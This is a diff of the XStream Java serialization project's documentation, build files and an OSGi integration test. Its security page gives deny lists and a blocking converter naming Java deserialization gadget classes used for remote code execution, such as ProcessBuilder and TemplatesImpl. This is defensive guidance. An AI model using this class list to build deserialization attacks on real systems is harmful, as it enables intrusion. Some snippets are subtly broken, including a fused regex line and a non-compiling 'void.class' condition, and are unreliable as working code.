    + </atomic-reference> + + Available with Java 1.5 or higher. normal @@ -478,7 +575,7 @@ <duration>PT24000H</duration> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -487,7 +584,7 @@ <instant>2017-07-30T20:40:00Z</instant> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -496,7 +593,7 @@ <local-date>2017-10-30</local-date> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -505,7 +602,7 @@ <local-date-time>2017-10-30T20:40:15</local-date-time> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -514,7 +611,7 @@ <local-time>20:40:15</local-time> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -523,7 +620,7 @@ <month-day>--01-13</month-day> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -532,7 +629,7 @@ <offset-date-time>2017-07-30T20:40:00Z</offset-date-time> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -541,7 +638,7 @@ <offset-time>20:40:15+01:00</offset-time> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -550,7 +647,7 @@ <period>P1000D</period> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -561,7 +658,7 @@   <zone>Europe/Berlin</zone> </system-clock> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -570,7 +667,7 @@ <year>2017</year> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -579,7 +676,7 @@ <year-month>2017-02</year-month> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -588,7 +685,7 @@ <zoned-date-time>2017-10-30T20:40:00Z[Europe/London]</zoned-date-time> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -597,7 +694,7 @@ <zone-id>Z</zone-id> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -618,7 +715,7 @@ <chronology>ISO</chronology> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -627,7 +724,7 @@ <hijrah-date>Hijrah-umalqura AH 1438-11-07</hijrah-date> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -636,7 +733,7 @@ <japanese-date>Japanese Heisei 29-07-30</japanese-date> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -645,7 +742,7 @@ <japanese-era>Taisho</japanese-era> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -654,7 +751,7 @@ <minguo-date>Minguo ROC 106-07-30</minguo-date> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -663,7 +760,7 @@ <thai-buddhist-date>haiBuddhist BE 2560-07-30</thai-buddhist-date> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -689,7 +786,7 @@   <minSmallest>0</minSmallest>
    </temporal-value-range> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -701,7 +798,7 @@   <firstDayOfWeek>MONDAY</firstDayOfWeek>
    </week-fields> - Available with Java 8 or greater. + Available with Java 8 or higher. normal @@ -851,14 +948,14 @@ CharsetConverter java.nio.charset.Charset <charset>US-ASCII</charset> - Available with Java 1.4 or greater. + Available with Java 1.4 or higher. normal PathConverter java.nio.file.Path <path>../dir/file.txt</path> - Available with Java 7 or greater. + Available with Java 7 or higher. normal @@ -1016,7 +1113,7 @@   <representationClass>java.io.InputStream</representationClass>
    </activation-data-flavor> - Available with Java 6, 7 and 8. Requires module java.activation with Java 9 or greater.
    + Available with Java 6, 7 and 8. Requires module java.activation with Java 9 or higher.
    normal @@ -1061,7 +1158,7 @@   <readOnly>false</readOnly>
    </auth-subject>
    - Available with Java 1.4 or greater. This converter does not serialize any credentials but only the principals. + Available with Java 1.4 or higher. This converter does not serialize any credentials but only the principals. normal @@ -1080,7 +1177,7 @@ DurationConverter javax.xml.datatype.Duration <duration>PT1H2M</duration> - Available with Java 1.5 or greater. + Available with Java 1.5 or higher. normal @@ -1122,7 +1219,7 @@ Non-serializable lambda instances will be mapped to null, since they contain no information for recreation. Serializable lambda types have such info, but it is specific to compiler vendor and occurrence in the code. Never assume that you can deserialize such an element when you use a different version of your code or a different compiler. - Available with Java 8 or greater. + Available with Java 8 or higher. normal diff --git a/xstream-distribution/src/content/download.html b/xstream-distribution/src/content/download.html index 8d6ad4c19..42278169f 100644 --- a/xstream-distribution/src/content/download.html +++ b/xstream-distribution/src/content/download.html @@ -1,7 +1,7 @@ +
    <dependency>
    +  <groupId>com.thoughtworks.xstream</groupId>
    +  <artifactId>xstream</artifactId>
    +  <version>1.4.21</version>
    +</dependency>

    Previous Releases

    Previous releases of XStream are also available. However, use of the latest stable version is recommended.

    Optional Dependencies

    +

    All these dependencies can be optional. XStream uses by default the XPP API in combination with the MXParser + implementation. Therefore are these dependencies not declared as optional in Maven. However, depending on your + choice of the XML parser, you can exclude the dependencies for the MXParser (e.g. by selecting StAX). You will + then have to declare the dependencies for the alternative XML parser yourself unless you use a parser form the Java + runtime.

    + +

    Note, that the bundle entries of the manifest do not declare any dependencies. In an OSGi environment it is the + task of the developer to setup the used bundles for his own project.

    +
    • Supported XML parsers and packages:
    • Other optional 3rd party dependencies:
        -
      • Joda Time for optional ISO8601 date/time converters in JDK 1.7 or below.
      • +
      • Java Activation module for the ActivationDataFlavorConverter. The dependency is required for the Java 11 runtime.
      • CGLIB for optional support of some proxies generated with the CGLIB Enhancer.
      • -
      • Jettison for serialization and deserialization support with JSON. Note, that newer versions 1.3.x are no longer compatible with XStream.
      • -
      • Jettison 1.0.1 for serialization and deserialization support with JSON in JDK 1.4. Note, that newer version 1.1 is not compatible with XStream.
      • +
      • Jettison 1.5.4 for serialization and deserialization support with JSON. Note, that some versions from 1.3.x and up are not compatible with XStream.
    @@ -99,15 +93,15 @@

    Dependencies Hibernate Module

    @@ -117,8 +111,8 @@

    Dependencies JMH Module

    diff --git a/xstream-distribution/src/content/faq.html b/xstream-distribution/src/content/faq.html index 6190af272..5e53aa439 100644 --- a/xstream-distribution/src/content/faq.html +++ b/xstream-distribution/src/content/faq.html @@ -1,7 +1,7 @@

    Which JDK is required to build XStream?

    XStream 1.5.x can be build still with JDK 1.7 (see BUILD.txt). However, to support the latest features it requires currently a JDK of Java 8. Otherwise the resulting jar files will miss some classes not available on earlier runtimes. Depending on the target environment this can be useful (e.g. for Android or GAE).

    +

    Note, that such Java archives will fail on higher Java runtimes then.

    Which dependencies are required to run XStream?

    @@ -48,6 +53,7 @@

    Which dependencies are required to run XStre However it depends on the use case. XStream will run without dependencies using the DOM driver on all Java runtimes or the StAX driver in combination with Java 6 or greater. See the list of optional dependencies.

    +

    Note, that XStream's manifest contains OSGi entries that declare all dependencies as optional.

    Does XStream behave differently across different JVMs?

    @@ -66,13 +72,15 @@

    Which JVMs allow XStream to operate in starting with R25.1.0. Generally it works for all modern Java runtimes based on OpenJDK. Android basically supports the enhanced mode as well as the Google Application Engine, but the latter's security model limits the types that can be handled. Note, that an active SecurityManager might prevent the usage of the enhanced mode also.

    +

    Since Java 9 it is required to permit the now illegal access. For Java 17 see below.

    What are the advantages of using enhanced mode over pure Java mode?

    -

    Currently it is not possible to recreate every instance of a type using the official Java API only. The enhanced mode uses some undocumented, but wide-spread - available functionality to recreate such instances nevertheless. However, in a secured secured environment, older Java run times or a limited Java environment might - prevent the usage of the enhanced mode and XStream uses the plain Java API as fallback. This mode has some restrictions though:

    +

    Currently it is not possible to recreate every instance of a type using the official Java API only. The enhanced + mode uses some undocumented, but wide-spread available functionality to recreate such instances nevertheless. However, + in a secured secured environment, older Java run times or a limited Java environment might prevent the usage of the + enhanced mode and XStream uses the plain Java API as fallback. This mode has some restrictions though:

    @@ -86,9 +94,34 @@

    What are the advantages of using

    FeaturePure JavaEnhanced Mode
    Private fieldsYesYes
    Final fieldsYes >= JDK 1.5Yes
    + + +

    Java runtime warns me about an illegal reflective access by XStream!

    + +

    Yes, this is normal. A big part of XStream is reflection based and there is currently no replacement for the + complete required functionality. You will have to permit this access currently, otherwise XStream will not work.

    + + +

    XStream fails since Java 17, because types in modules cannot be accessed from the unnamed module!

    + +

    Again, this is normal. The reflection stuff is required to get all required information to recreate an instance of + a Java type at unmarshalling time. However, since Java 17 it is no longer possible to allow this access with a single + runtime option. You have to open all packages of the individual modules for the unnamed module with the option + --add-opens, where XStream requires access, e.g. --add-opens java.base/java.util=ALL-UNNAMED

    + + +

    Why does XStream not even declare an automated module name?

    + +

    Such a declaration would move XStream automatically into the module class path. However, in this environment a + lot of functionality does no longer work. Therefore it is on purpose that XStream stays currently in the unnamed + module.

    + + +

    Will XStream support the Java Platform Module System (JPMS)?

    -

    Note, that these undocumented features are still available with Java 9, since there is currently no public - functionality provided as replacement.

    +

    At some point definitely. However, you will have to accept a limited functionality only, comparable to the pure + Java mode. The access model is very restrictive and XStream will no longer be able to marshal all types of the Java + runtime like now.

    Why is my application not able to create a XmlPullParser with the XppDriver since XStream 1.4?

    @@ -115,7 +148,8 @@

    Can I use XStream in an Android application?

    that is equivalent to the Java level supported by the target version of Android.

    Since XStream 1.4.10 an additional artifact is deployed to the Central Maven Repository with -java7 - appended to the version that explicitly does not contain any Java 8 related stuff.

    + appended to the version that explicitly does not contain any Java 8 related stuff. Note that this version will fail + on higher runtimes.

    Which limits exists for XStream in Google's Application Engine (GAE)?

    @@ -229,8 +263,8 @@

    How do I initialize a transient fiel return this; } } -

    or

    -
    class ThreadAwareComponent {
    +

    or in case your type implements java.io.Serializable, you have an alternative:

    +
    class ThreadAwareComponent implements Serializable{
       private transient ThreadLocal component;
       // ...
       private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    @@ -489,17 +523,24 @@ 

    XStream fails to unmarshal my given XML and I d spot the differences in the XML much more easy than to interpret the exceptions XStream will throw if it cannot match the XML into your objects.

    + +

    Why are whitespace characters wrong in my attribute values after deserialization?

    + +

    This is part of the XML specification and a required functionality for any XML parser called + attribute value normalization. It cannot be influenced by XStream. + A compliant XML parser will replace by default real tab, carriage return and line feed characters with normal spaces. If you + want to keep these characters you will have to encode them with entities or use child elements instead of attributes.

    +

    My parser claims the &#x0; character to be invalid, but it was written with XStream!

    Your parser is basically right! A character of value 0 is not valid as part of XML according the XML specification (see - version 1.0 or - 1.1), neither directly nor as character - entity nor within CDATA. But not every parser respects this part of the specification (e.g. Xpp3 will ignore it and read - character entities). If you expect such characters in your strings and you do not use the Xpp3 parser, you should consider - to use a converter that writes the string as byte array in Base64 code. As alternative you may force the - PrettyPrintWriter or derived writers - to be XML 1.0 or 1.1. compliant, i.e. in this mode a StreamException is thrown.

    + version 1.0 or 1.1), + neither directly nor as character entity nor within CDATA. But not every parser respects this part of the specification (e.g. + Xpp3 will ignore it and read character entities). If you expect such characters in your strings and you do not use the Xpp3 + parser, you should consider to use a converter that writes the string as byte array in Base64 code. As alternative you may + force the PrettyPrintWriter or derived + writers to be XML 1.0 or 1.1. compliant, i.e. in this mode a StreamException is thrown.

    My parser claims a control character to be invalid, but it was written with XStream!

    @@ -507,6 +548,126 @@

    My parser claims a control character to be invalid, bu

    Your parser is probably right! Control characters are only valid as part of XML 1.1. You should add an XML header declaring this version or use a parser that does not care about this part of the specification (e.g. Xpp3 parser).

    + +

    I switched the parser in XStream, but now I cannot read XML written with XStream!

    + +

    As already seen in the answers above for the null and control characters, the different parsers respect the XML + specification not always in every detail. The specification differs for XML 1.0 and 1.1 for the allowed characters in XML + values, as the specification differs between XML 1.0 (4th edition) and XML 1.0 (5th edition) for the characters allowed in + XML names. In this case the latter is equal to the specification for XML 1.1.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    BehaviorSpecificationXpp3kXML2StAX Oracle JVMWoodstoxSun StAXBEA StAX RIDOMDOM4JJDOMJDOM2XOM
    XML 1.1 Declarationn/a-yesyesyesyes-yesyesyesyes-
    Null Character-yesyes---------
    Non-Unicode Character 0xFFFF-yesyes-CDATA-yes-----
    Control CharacterXML 1.1yesyesXML 1.1XML 1.1XML 1.1CDATAXML 1.1XML 1.1--XML 1.1
    Enhanced Unicode in XML NamesXML 1.0 5th, XML 1.1yesyesXML 1.1XML 1.1XML 1.1yesXML 1.1XML 1.1---
    Attribute normalization for white spacesyesyesnot for tabsyesyesyesyesyesyesyesyesyes
    + +

    Legend: XML 1.1 requires a XML declaration with version 1.1. CDATA requires the value in a CDATA section.

    + +

    Note, that parsers might change their behavior in different versions.

    +

    Why is my element not written as XML attribute although I have configured it?

    @@ -514,20 +675,12 @@

    Why is my element not written as XML attribute although by SingleValueConverter implementations. If your type is handled by a Converter implementation, the configuration of XStream to write an attribute (using XStream.useAttributeFor() or @XStreamAsAttribute) is simply ignored.

    - -

    Why are whitespace characters wrong in my attribute values after deserialization?

    - -

    This is part of the XML specification and a required functionality for any XML parser called - attribute value normalization. It cannot - be influenced by XStream. A compliant XML parser will replace by default real tab, carriage return and line feed - characters with normal spaces. If you want to keep these characters you will have to encode them with entities.

    -

    Why does XStream not have any namespace support?

    Not every XML parser supports namespaces and not every XML parser that supports namespaces can be configured within XStream to use those. Basically namespaces must be supported individually for the different XML parsers and the - only support for namespaces that has currently been implemented in XStream is for the StAX paser. Therefore use and + only support for namespaces that has currently been implemented in XStream is for the StAX parser. Therefore use and configure the StaxDriver of XStream to use namespaces.

    @@ -561,6 +714,13 @@

    Does XStream support entities?

    HierarchicalStreamDriver implementation that generated the parser factory.

    + +

    Can I use an XSL style sheet?

    + +

    XStream supports the usage of an XSL style sheet as post-processor for its output with its + TraxSource type. It will utilize an XStream + instance as direct input to the transformer.

    +

    JSON specifics

    diff --git a/xstream-distribution/src/content/index.html b/xstream-distribution/src/content/index.html index 02c868a0c..bd6eaf9f3 100644 --- a/xstream-distribution/src/content/index.html +++ b/xstream-distribution/src/content/index.html @@ -1,7 +1,7 @@
  • September 1st, 2009: Generate PDFs with XStream and XSL-FO by Brian J. Stewart
  • January 13th, 2009: [German article] Mit XStream lassen sich Objekte einfach und schnell serialisieren by David Petersheim
  • +
  • February 12th, 2008: RESTful SOA using XML by Adriaan de Jonge
  • +
  • May 21th, 2006: Inversionism by Paul Hammant: Using XStream to forward JSON to a browser
  • May 21th, 2006: Inversionism by Paul Hammant: Using XStream to process standardized XML documents
  • May 12th, 2006: Paul Hammant and Ian Cartwright: Simple JAVA and .NET SOA interoperability
  • January 30th, 2006: Vinny Carpenter's Blog: Life is beautiful with XMLBeans and XStream
  • +
  • August 5th, 2005: Emil Kirschner: xstream & jdk 1.5 annotations
  • +
  • August 19th, 2004: TheServerSide.com by Dion Almaer: Serializing Java Objects with XStream
  • -
  • August 18th, 2004: XML.com by Michael Fitzgerald: Serializing Java Objects with XStream
  • +
  • August 18th, 2004: XML.com by Michael Fitzgerald: Serializing Java Objects with XStream
  • Permission Description - Example - Default + Example + Default AnyTypePermission - Allow any type. You may use the ANY instance directly. A registration of this permission will wipe any - prior one. -   + Start a blacklist and allow any type. A registration of this permission will wipe any prior one. + You may use the ANY instance directly. Note, that it is now in the responsibility of the developer to deny any + type that might be used for arbitrary code execution as described in the CVEs above. + addPermission(AnyTypePermission.ANY); no ArrayTypePermission Allow any array type. You may use the ARRAYS instance directly. -   + addPermission(ArrayTypePermission.ARRAYS); yes CGLIBProxyTypePermission Allow any CGLIB proxy type. You may use the PROXIES instance directly. -   + addPermission(CGLIBProxyTypePermission.PROXIES); no ExplicitTypePermission Allow types explicitly by name. -   + allowTypes("java.io.File", "java.lang.ProcessBuilder");
    + allowTypes(java.io.File.class, java.lang.ProcessBuilder.class); java.io.File, java.nio.charset.Charset, java.util.BitSet, java.lang.Class, java.lang.Object, java.lang.StackTraceElement, java.lang.String, java.lang.StringBuffer, java.lang.StringBuilder, java.net.URI, java.net.URL, java.sql.Date, java.sql.Time, java.sql.Timestamp, java.text.DecimalFormatSymbols, @@ -187,51 +445,52 @@

    Predefined Permission Types

    InterfaceTypePermission Allow any interface type. You may use the INTERFACES instance directly. -   + addPermission(InterfaceTypePermission.INTERFACES); yes NoPermission - Invert any other permission. Instances of this type are used by XStream in the deny methods. -   + Invert any other permission. Instances of this type are used by XStream in the deny methods wrapping a permission. + denyPermission(permissionInstance); no NoTypePermission - Allow no type. You may use the NONE instance directly. A registration of this permission will wipe any - prior one. -   - – + Start a whitelist and allow no type. A registration of this permission will wipe any prior one. + You may use the NONE instance directly. + addPermission(NoTypePermission.NONE); + yes NullPermission Allow null as type. You may use the NULL instance directly. -   + addPermission(NullPermission.NULL); yes PrimitiveTypePermission Allow any primitive type and its boxed counterpart (excluding void). You may use the PRIMITIVES instance directly. -   + addPermission(PrimitiveTypePermission.PRIMITIVES); yes ProxyTypePermission Allow any Java proxy type. You may use the PROXIES instance directly. -   + addPermission(ProxyTypePermission.PROXIES); no RegExpTypePermission Allow any type that matches with its name a regular expression. - .*\\.core\\..*
    [^$]+ + allowTypesByRegExp(".*\\.core\\..*", "[^$]+");
    + allowTypesByRegExp(Pattern.compile(".*\\.core\\..*"), Pattern.compile("[^$]+")); – TypeHierarchyPermission Allow types of a hierarchy. -   + allowTypeHierarchy(java.lang.Throwable.class); java.lang.Enum, java.lang.Number, java.lang.Throwable, java.lang.reflect.Member, java.nio.file.Path, java.time.Clock, java.time.ZoneId, java.time.chrono.Chronology, java.util.Calendar, java.util.Collection, java.util.Map, java.util.Map.Entry, java.util.TimeZone @@ -239,18 +498,19 @@

    Predefined Permission Types

    WildcardTypePermission Allow any type that matches with its name a wildcard expression. - java.lang.*
    java.util.** + allowTypesByWildcard("java.lang.*", "java.util.**"); – -

    Example Code White Listing

    +

    Example Code Whitelist

    XStream uses the default permissions from the table above. You may either clear out this default and register your own permissions to activate the security framework simply add your own permissions on top of it (the Blog type is from the Alias Tutorial):

    +
    XStream xstream = new XStream();
    -// clear out existing permissions and set own ones
    +// clear out existing permissions and start a whitelist
     xstream.addPermission(NoTypePermission.NONE);
     // allow some basics
     xstream.addPermission(NullPermission.NULL);
    @@ -260,6 +520,72 @@ 

    Example Code White Listing

    xstream.allowTypesByWildcard(Blog.class.getPackage().getName()+".*");
    -

    You may have a further look at XStream's acceptance tests, the security framework is enabled there in general.

    +

    You may have a further look at XStream's acceptance tests, the security framework is enabled there in general.

    +          +

    Workarounds for older XStream versions

    + +

    As recommended, use XStream's security framework to implement a whitelist for the allowed types. This is + possible since XStream 1.4.7 and it is the default since XStream 1.4.18.

    + +

    Users of XStream 1.4.17 who insist to use XStream default blacklist - despite that clear recommendation - can + add these lines to XStream's setup code:

    +
    xstream.denyTypesByWildcard(new String[]{ "sun.reflect.**", "sun.tracing.**", "com.sun.corba.**" });
    +xstream.denyTypesByRegExp(new String[]{ ".*\\.ws\\.client\\.sei\\..*", ".*\\$ProxyLazyValue", "com\\.sun\\.jndi\\..*Enumerat(?:ion|or)", ".*\\$URLData", ".*\\.xsltc\\.trax\\.TemplatesImpl" });
    +
    + +

    Users of XStream 1.4.16 should add these lines and additionally the lines for version 1.4.17:

    +
    xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
    +
    + +

    Users of XStream 1.4.15 should add these lines and additionally the lines for version 1.4.16 and 1.4.17:

    +
    xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
    +xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "(javax|sun.swing)\\..*LazyValue", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
    +xstream.denyTypeHierarchy(java.io.InputStream.class );
    +xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
    +xstream.denyTypeHierarchy(javax.activation.DataSource.class );
    +xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
    +
    + +

    Users of XStream 1.4.13 and 1.4.14 should add these lines and additionally the lines for version 1.4.15 to 1.4.17:

    +
    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
    +xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
    +
    + +

    Users of XStream 1.4.7 to 1.4.12 who want to use XStream with a blacklist will have to setup such a list from + scratch:

    +
    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
    +xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
    +".*\\.xsltc\\.trax\\.TemplatesImpl"xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader", ".*\\$GetterSetterReflection", ".*\\$LazyIterator", ".*\\$PrivilegedGetter",  ".*\\.ws\\.client\\.sei\\..*", ".*\\$ProxyLazyValue", "com\\.sun\\.jndi\\..*Enumerat(?:ion|tor)", ".*\\$URLData", ".*\\.xsltc\\.trax\\.TemplatesImpl" });
    +xstream.denyTypesByWildcard(new String[]{ "sun.reflect.**", "sun.tracing.**", "com.sun.corba.**" });
    +xstream.denyTypeHierarchy(java.io.InputStream.class);
    +xstream.denyTypeHierarchy(java.nio.channels.Channel.class);
    +xstream.denyTypeHierarchy(javax.activation.DataSource.class);
    +xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class);
    +
    + +

    Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

    +
    xstream.registerConverter(new Converter() {
    +  public boolean canConvert(Class type) {
    +    return type != null
    +      && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class
    +        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator") || type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") || type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")
    +        || type.getName().matches("javafx\\.collections\\.ObservableList\\$.*") || type.getName().matches(".*\\$ServiceNameIterator")  || type.getName().matches(".*\\$GetterSetterReflection") || type.getName().matches(".*\\$LazyIterator") || type.getName().matches(".*\\$ProxyLazyValue") || type.getName().matches(".*\\.bcel\\..*\\.util\\.ClassLoader") || type.getName().matches(".*\\.ws\\.client\\.sei\\..*") || type.getName().matches("com\\.sun\\.jndi\\..*Enumerat(?:ion|or)")
    +        || type.getName().endsWith(".$URLData") || type.getName().endsWith(".xsltc.trax.TemplatesImpl")
    +        || type.getName().startsWith("sun.reflect.") || type.getName().startsWith("sun.tracing.") || type.getName().startsWith("com.sun.corba.")
    +        || java.io.InputStream.class.isAssignableFrom(type) || java.nio.channels.Channel.isAssignableFrom(type) || javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)
    +        || Proxy.isProxy(type));
    +  }
    +
    +  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    +    throw new ConversionException("Unsupported type due to security reasons.");
    +  }
    +
    +  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    +    throw new ConversionException("Unsupported type due to security reasons.");
    +  }
    +}, XStream.PRIORITY_VERY_HIGH);
    +
    + diff --git a/xstream-distribution/src/content/team.html b/xstream-distribution/src/content/team.html index 3af67ba46..06a556c90 100644 --- a/xstream-distribution/src/content/team.html +++ b/xstream-distribution/src/content/team.html @@ -1,7 +1,7 @@ + + xstream-parent + com.thoughtworks.xstream + 1.5.0-SNAPSHOT + + 4.0.0 + xstream-its + XStream ITs + Integration tests for XStream. + + + + + src/test-resources + true + + + + + org.apache.maven.plugins + maven-deploy-plugin + + true + + + + org.apache.maven.plugins + maven-failsafe-plugin + + + + integration-test + verify + + + + + + org.apache.maven.plugins + maven-install-plugin + + true + + + + org.apache.maven.plugins + maven-jar-plugin + + + default-jar + + true + + + + + + + + + + com.thoughtworks.xstream + xstream + + + + + jakarta.inject + jakarta.inject-api + + + org.apache.felix + org.apache.felix.framework + + + org.ops4j.pax.exam + pax-exam-container-native + + + org.osgi + org.osgi.core + + + + + org.ops4j.pax.exam + pax-exam-extender-service + + + org.ops4j.pax.exam + pax-exam-invoker-junit + + + org.ops4j.pax.exam + pax-exam-junit4 + + + org.ops4j.pax.exam + pax-exam-inject + + + org.ops4j.pax.exam + pax-exam-link-assembly + + + org.ops4j.pax.exam + pax-exam-link-mvn + + + + junit + junit + + + org.slf4j + slf4j-simple + test + + + + + 4.11 + xstream.jmh + + diff --git a/xstream-its/src/test-resources/project.properties b/xstream-its/src/test-resources/project.properties new file mode 100644 index 000000000..afba2c572 --- /dev/null +++ b/xstream-its/src/test-resources/project.properties @@ -0,0 +1 @@ +project.version=${project.version} diff --git a/xstream-its/src/test/com/thoughtworks/xstream/OSGiIT.java b/xstream-its/src/test/com/thoughtworks/xstream/OSGiIT.java new file mode 100644 index 000000000..758204866 --- /dev/null +++ b/xstream-its/src/test/com/thoughtworks/xstream/OSGiIT.java @@ -0,0 +1,80 @@ +/* + * Copyright (C) 2019 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 12. August 2019 by Joerg Schaible + */ +package com.thoughtworks.xstream; + +import static java.lang.String.format; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.ops4j.pax.exam.CoreOptions.junitBundles; +import static org.ops4j.pax.exam.CoreOptions.mavenBundle; +import static org.ops4j.pax.exam.CoreOptions.options; + +import java.io.InputStream; +import java.util.Properties; + +import javax.inject.Inject; + +import org.ops4j.pax.exam.Configuration; +import org.ops4j.pax.exam.Option; +import org.ops4j.pax.exam.junit.PaxExam; +import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy; +import org.ops4j.pax.exam.spi.reactors.PerMethod; +import org.osgi.framework.Bundle; +import org.osgi.framework.BundleContext; + +import org.junit.Test; +import org.junit.runner.RunWith; + + +/** + * @author Wes Wannemacher + */ +@RunWith(PaxExam.class) +@ExamReactorStrategy(PerMethod.class) +public class OSGiIT { + @Inject + BundleContext bundleContext; + + @SuppressWarnings("javadoc") + @Configuration + public Option[] config() throws Exception { + final Properties properties = new Properties(); + try (final InputStream is = getClass().getResourceAsStream("/project.properties")) { + properties.load(is); + } + final String xstreamVersion = properties.getProperty("project.version"); + + return options(junitBundles(), mavenBundle() + .groupId("com.thoughtworks.xstream") + .artifactId("xstream") + .version(xstreamVersion)); + } + + @SuppressWarnings("javadoc") + @Test + public void smokeTest() { + assertNotNull("BundleContext was not injected", bundleContext); + + boolean xstreamBundleFound = false; + int xstreamBundleState = -1; + for (final Bundle bundle : bundleContext.getBundles()) { + if ("xstream".equals(bundle.getSymbolicName())) { + xstreamBundleFound = true; + xstreamBundleState = bundle.getState(); + } + } + + assertTrue("XStream bundle was not loaded", xstreamBundleFound); + assertEquals(format("XStream bundle was not active (was: %d)", xstreamBundleState), xstreamBundleState, + Bundle.ACTIVE); + } +} diff --git a/xstream-jmh/pom.xml b/xstream-jmh/pom.xml index 838f06cfb..427b73335 100644 --- a/xstream-jmh/pom.xml +++ b/xstream-jmh/pom.xml @@ -1,6 +1,6 @@ - xpp3 - xpp3_min + io.github.x-stream + mxparser runtime - xmlpull - xmlpull + xpp3 + xpp3_min runtime @@ -171,12 +138,12 @@ runtime - org.codehaus.woodstox - wstx-asl - runtime + com.fasterxml.woodstox + woodstox-core + compile - dom4j + org.dom4j dom4j runtime @@ -198,7 +165,14 @@ org.codehaus.jettison jettison - runtime + compile + + + jakarta.xml.bind + jakarta.xml.bind-api + + xstream.jmh + diff --git a/xstream-jmh/src/application/bin/xstream-jmh.cmd b/xstream-jmh/src/application/bin/xstream-jmh.cmd index a8252145c..04c3dec1d 100644 --- a/xstream-jmh/src/application/bin/xstream-jmh.cmd +++ b/xstream-jmh/src/application/bin/xstream-jmh.cmd @@ -1,5 +1,5 @@ @echo off -@REM Copyright (C) 2015 XStream Committers. +@REM Copyright (C) 2015, 2022 XStream Committers. @REM All rights reserved. @REM @REM The software in this package is published under the terms of the BSD @@ -44,11 +44,16 @@ set JAVA_BIN=%JAVA_EXE% for %%i in (lib\*.jar) do call :APP_CP_append %%i call :APP_CP_append "config" +@REM * Open modules for parsers +@REM ************* +set JAVA_OPTS=%JAVA_OPTS% --add-opens java.xml/com.sun.org.apache.xerces.internal.parsers=ALL-UNNAMED +set JAVA_OPTS=%JAVA_OPTS% --add-opens java.xml/com.sun.org.apache.xerces.internal.util=ALL-UNNAMED +set JAVA_OPTS=%JAVA_OPTS% --add-opens java.xml/com.sun.xml.internal.stream=ALL-UNNAMED + @REM * Set options @REM ************* set JAVA_OPTS=%JAVA_OPTS% -Xmx2048m -Xss4m - @REM * Main class @REM ************ set MAIN_CLASS=org.openjdk.jmh.Main diff --git a/xstream-jmh/src/application/bin/xstream-jmh.sh b/xstream-jmh/src/application/bin/xstream-jmh.sh index ec326fdea..907e15a28 100644 --- a/xstream-jmh/src/application/bin/xstream-jmh.sh +++ b/xstream-jmh/src/application/bin/xstream-jmh.sh @@ -1,5 +1,5 @@ #!/bin/sh -# Copyright (C) 2015 XStream Committers. +# Copyright (C) 2015, 2022 XStream Committers. # All rights reserved. # # The software in this package is published under the terms of the BSD @@ -41,6 +41,12 @@ for i in lib/*.jar; do APP_CP=$APP_CP:$i done +# * Open modules for parsers +# ************* 